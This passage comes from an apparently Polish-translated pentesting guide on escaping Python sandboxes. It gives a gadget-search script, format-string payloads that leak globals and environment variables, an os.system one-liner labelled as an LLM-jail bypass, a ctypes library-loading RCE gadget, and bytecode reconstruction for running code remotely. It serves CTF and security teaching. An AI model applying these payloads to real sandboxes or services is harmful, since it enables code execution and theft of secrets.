vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ]
print(f"{b}: {', '.join(vuln_funcs)}")

"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands:
subprocess: BaseDependency, Origin, Version, Package
pty:
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp:
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
pip:
pdb:
system: _wrap_close, _wrap_close
getstatusoutput: CompletedProcess, Popen
getoutput: CompletedProcess, Popen
call: CompletedProcess, Popen
Popen: CompletedProcess, Popen
spawn:
import_module:
__import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec
load_source: NullImporter, _HackedGetData
execfile:
execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""

Rekurencyjne wyszukiwanie builtins, globals...

import os, sys # Import these to find more gadgets

SEARCH_FOR = {
# Misc
"__globals__": set(),
"builtins": set(),
"__builtins__": set(),
"open": set(),

# RCE libs
"os": set(),
"subprocess": set(),
"commands": set(),
"pty": set(),
"importlib": set(),
"imp": set(),
"sys": set(),
"pip": set(),
"pdb": set(),

# RCE methods
"system": set(),
"popen": set(),
"getstatusoutput": set(),
"getoutput": set(),
"call": set(),
"Popen": set(),
"popen": set(),
"spawn": set(),
"import_module": set(),
"__import__": set(),
"load_source": set(),
"execfile": set(),
"execute": set()
}

#More than 4 is very time consuming
MAX_CONT = 4

#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found
#ALREADY_CHECKED = set()

def check_recursive(element, cont, name, orig_n, orig_i, execute):
# If bigger than maximum, stop
if cont > MAX_CONT:
return

# If already checked, stop
#if name and name in ALREADY_CHECKED:
#    return

# Add to already checked
#if name:
#    ALREADY_CHECKED.add(name)

# If found add to the dict
for k in SEARCH_FOR:
if k in dir(element) or (type(element) is dict and k in element):
SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")

# Continue with the recursivity
for new_element in dir(element):
try:
check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)

# WARNING: Calling random functions sometimes kills the script
# Comment this part if you notice that behaviour!!
if execute:
try:
if callable(getattr(element, new_element)):
check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)
except:
pass

except:
pass

# If in a dict, scan also each key, very important
if type(element) is dict:
for new_element in element:
check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)


def main():
print("Checking from empty string...")
total = [""]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Empty str {i}", True)

print()
print("Checking loaded subclasses...")
total = "".__class__.__base__.__subclasses__()
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Subclass {i}", True)

print()
print("Checking from global functions...")
total = [print, check_recursive]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Global func {i}", False)

print()
print(SEARCH_FOR)


if __name__ == "__main__":
main()

You can check the output of this script on this page:

https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md

Python Format String

Jeśli wyślesz string do python, który zostanie sformatowany, możesz użyć {} aby uzyskać dostęp do wewnętrznych informacji pythona. Możesz użyć poprzednich przykładów, aby uzyskać dostęp do globals lub builtins, na przykład.

# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
"KEY": "ASXFYFGK78989"
}

class PeopleInfo:
def __init__(self, fname, lname):
self.fname = fname
self.lname = lname

def get_name_for_avatar(avatar_str, people_obj):
return avatar_str.format(people_obj = people_obj)

people = PeopleInfo('GEEKS', 'FORGEEKS')

st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)

Zauważ, że możesz uzyskać dostęp do atrybutów w zwykły sposób przy pomocy kropki jak people_obj.__init__ oraz do elementu dict za pomocą nawiasów bez cudzysłowów __globals__[CONFIG]

Zauważ też, że możesz użyć .__dict__ do wylistowania elementów obiektu get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)

Inną ciekawą cechą format stringów jest możliwość wykonania funkcji str, repr i ascii na wskazanym obiekcie przez dodanie odpowiednio !s, !r, !a:

st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)

Co więcej, możliwe jest napisać nowe formattery w klasach:

class HAL9000(object):
def __format__(self, format):
if (format == 'open-the-pod-bay-doors'):
return "I'm afraid I can't do that."
return 'HAL 9000'

'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.

Więcej przykładów dotyczących format string można znaleźć na https://pyformat.info/

Python Internal Read Gadgets

Payloads ujawniające wrażliwe informacje

{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
{whoami.__globals__[os].environ}
{whoami.__globals__[sys].path}
{whoami.__globals__[sys].modules}

# Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}

# Example from https://corgi.rip/posts/buckeye-writeups/
secret_variable = "clueless"
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
str(x) # Out: clueless

LLM Jails bypass

Z here: ().class.base.subclasses()[108].load_module('os').system('dir')

Od format string do RCE przez ładowanie bibliotek

Zgodnie z TypeMonkey chall from this writeup możliwe jest załadowanie dowolnych bibliotek z dysku, wykorzystując format string vulnerability w python.

Dla przypomnienia, za każdym razem gdy w python wykonywana jest jakaś operacja, uruchamiana jest pewna funkcja. Na przykład 2*3 wykona (2).mul(3) albo {'a':'b'}['a'] wykona {'a':'b'}.__getitem__('a').

Więcej podobnych przykładów znajdziesz w sekcji Python execution without calls.

Python format string vuln nie pozwala na wykonanie funkcji (nie pozwala na użycie nawiasów), więc nie można uzyskać RCE jak '{0.system("/bin/sh")}'.format(os).
Jednak można użyć []. Zatem jeśli popularna biblioteka python ma metodę __getitem__ lub __getattr__ która wykonuje dowolny kod, można je wykorzystać do uzyskania RCE.

Szukając takiego gadgetu w pythonie, autor writeupu proponuje to Github search query. Tam znalazł ten one:

class LibraryLoader(object):
def __init__(self, dlltype):
self._dlltype = dlltype

def __getattr__(self, name):
if name[0] == '_':
raise AttributeError(name)
try:
dll = self._dlltype(name)
except OSError:
raise AttributeError(name)
setattr(self, name, dll)
return dll

def __getitem__(self, name):
return getattr(self, name)

cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)

Ten gadget umożliwia załadowanie biblioteki z dysku. Dlatego należy w jakiś sposób zapisać lub przesłać bibliotekę, która ma zostać załadowana poprawnie skompilowaną dla atakowanego serwera.

'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'

Zadanie w rzeczywistości wykorzystuje inną podatność w serwerze, która pozwala tworzyć dowolne pliki na dysku serwera.

Analiza obiektów Pythona

W niektórych CTFs możesz otrzymać nazwę custom function where the flag i musisz zobaczyć internals danej function, żeby ją wydobyć.

Oto funkcja do zbadania:

def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
if some_input == var2:
return "THIS-IS-THE-FALG!"
else:
return "Nope"

dir

dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']

zmienne globalne

__globals__ and func_globals (To samo) Pobiera środowisko globalne. W przykładzie widać niektóre zaimportowane moduły, niektóre zmienne globalne oraz ich zawartość:

get_flag.func_globals
get_flag.__globals__
{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}

#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__

See here more places to obtain globals

Dostęp do kodu funkcji

__code__ i func_code: Możesz uzyskać dostęp do tego atrybutu funkcji, aby pobrać obiekt kodu tej funkcji.

# In our current example
get_flag.__code__
<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1

# Compiling some python code
compile("print(5)", "", "single")
<code object <module> at 0x7f9ca01330c0, file "", line 1>

#Get the attributes of the code object
dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']

Uzyskiwanie informacji o kodzie

# Another example
s = '''
a = 5
b = 'text'
def f(x):
return x
f(5)
'''
c=compile(s, "", "exec")

# __doc__: Get the description of the function, if any
print.__doc__

# co_consts: Constants
get_flag.__code__.co_consts
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')

c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.
(5, 'text', <code object f at 0x7f9ca0133540, file "", line 4>, 'f', None

# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
get_flag.__code__.co_names
()

c.co_names
('a', 'b', 'f')


#co_varnames: Local names used by the bytecode (arguments first, then the local variables)
get_flag.__code__.co_varnames
('some_input', 'var1', 'var2', 'var3')

#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.
get_flag.__code__.co_cellvars
()

#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.
get_flag.__code__.co_freevars
()

#Get bytecode
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'

Dysasemblacja funkcji

import dis
dis.dis(get_flag)
2           0 LOAD_CONST               1 (1)
3 STORE_FAST               1 (var1)

3           6 LOAD_CONST               2 ('secretcode')
9 STORE_FAST               2 (var2)

4          12 LOAD_CONST               3 ('some')
15 LOAD_CONST               4 ('array')
18 BUILD_LIST               2
21 STORE_FAST               3 (var3)

5          24 LOAD_FAST                0 (some_input)
27 LOAD_FAST                2 (var2)
30 COMPARE_OP               2 (==)
33 POP_JUMP_IF_FALSE       40

6          36 LOAD_CONST               5 ('THIS-IS-THE-FLAG!')
39 RETURN_VALUE

8     >>   40 LOAD_CONST               6 ('Nope')
43 RETURN_VALUE
44 LOAD_CONST               0 (None)
47 RETURN_VALUE

Zauważ, że jeśli nie możesz zaimportować dis w python sandbox możesz uzyskać bytecode funkcji (get_flag.func_code.co_code) i disassemble ją lokalnie. Nie zobaczysz zawartości ładowanych zmiennych (LOAD_CONST), ale możesz je odgadnąć z (get_flag.func_code.co_consts), ponieważ LOAD_CONST także podaje offset ładowanej zmiennej.

dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST          1 (1)
3 STORE_FAST          1 (1)
6 LOAD_CONST          2 (2)
9 STORE_FAST          2 (2)
12 LOAD_CONST          3 (3)
15 LOAD_CONST          4 (4)
18 BUILD_LIST          2
21 STORE_FAST          3 (3)
24 LOAD_FAST           0 (0)
27 LOAD_FAST           2 (2)
30 COMPARE_OP          2 (==)
33 POP_JUMP_IF_FALSE    40
36 LOAD_CONST          5 (5)
39 RETURN_VALUE
>>   40 LOAD_CONST          6 (6)
43 RETURN_VALUE
44 LOAD_CONST          0 (0)
47 RETURN_VALUE

Kompilacja Python

Teraz wyobraźmy sobie, że w jakiś sposób możesz zrzucić informacje o funkcji, której nie możesz uruchomić, ale musisz ją uruchomić.
Jak w poniższym przykładzie, możesz uzyskać dostęp do code object tej funkcji, ale samo czytanie disassemble nie pozwala ci obliczyć flag (wyobraź sobie bardziej złożoną funkcję calc_flag)

def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
def calc_flag(flag_rot2):
return ''.join(chr(ord(c)-2) for c in flag_rot2)
if some_input == var2:
return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"

Tworzenie code object

Po pierwsze, musimy wiedzieć jak utworzyć i uruchomić code object, abyśmy mogli stworzyć jeden do wykonania naszej funkcji leaked:

code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
code_obj = code_type(co_argcount, co_kwonlyargcount,
co_nlocals, co_stacksize, co_flags,
co_code, co_consts, co_names,
co_varnames, co_filename, co_name,
co_firstlineno, co_lnotab, freevars=None,
cellvars=None)

# Execution
eval(code_obj) #Execute as a whole script

# If you have the code of a function, execute it
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")

import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n      flags, codestring, constants, names, varnames, filename, name,\n      firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object.  Not for the faint of heart.'

Odtworzenie leaked funkcji

fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)

mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag

Omijanie zabezpieczeń

W poprzednich przykładach na początku tego wpisu możesz zobaczyć jak wykonać dowolny kod python używając funkcji compile. To interesujące, ponieważ możesz wykonywać całe skrypty z pętlami i wszystkim w jednej linii (i moglibyśmy zrobić to samo używając exec).
W każdym razie, czasami może być przydatne utworzyć obiekt skompilowany na maszynie lokalnej i wykonać go na CTF machine (na przykład dlatego, że nie mamy funkcji compiled na CTF).

Na przykład, skompilujmy i wykonajmy ręcznie funkcję, która czyta ./poc.py:

#Locally
def read():
return open("./poc.py",'r').read()

read.__code__.co_code
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'

#On Remote
function_type = type(lambda: None)
code_type = type((lambda: None).__code__) #Get <type 'type'>
consts = (None, "./poc.py", 'r')
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
names = ('open','read')

# And execute it using eval/exec
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))

#You could also execute it directly
mydict = {}
mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()

Jeśli nie możesz uzyskać dostępu do eval lub exec, możesz stworzyć właściwą funkcję, ale wywołanie jej bezpośrednio zwykle zakończy się niepowodzeniem z komunikatem: constructor not accessible in restricted mode. Dlatego potrzebujesz funkcji spoza ograniczonego środowiska, która wywoła tę funkcję.

#Compile a regular print
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)

Decompilacja skompilowanego Pythona

Używając narzędzi takich jak https://www.decompiler.com/ można dekompilować dany skompilowany kod python.

Sprawdź ten samouczek:

Decompile compiled python binaries (exe, elf) - Retreive from .pyc

Różne (Python)

Assert

Python uruchamiany z optymalizacjami przy użyciu parametru -O usunie assert statements oraz każdy kod warunkowy zależny od wartości debug.
Dlatego sprawdzenia takie jak

def check_permission(super_user):
try:
assert(super_user)
print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")

zostanie ominięty

Referencje

• https://lbarman.ch/blog/pyjail/
• https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/
• https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/
• https://gynvael.coldwind.pl/n/python_sandbox_escape
• https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html
• https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6
• CVE-2023-33733 (ReportLab rl_safe_eval expression evaluation RCE) – NVD
• c53elyas/CVE-2023-33733 PoC and write-up
• 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE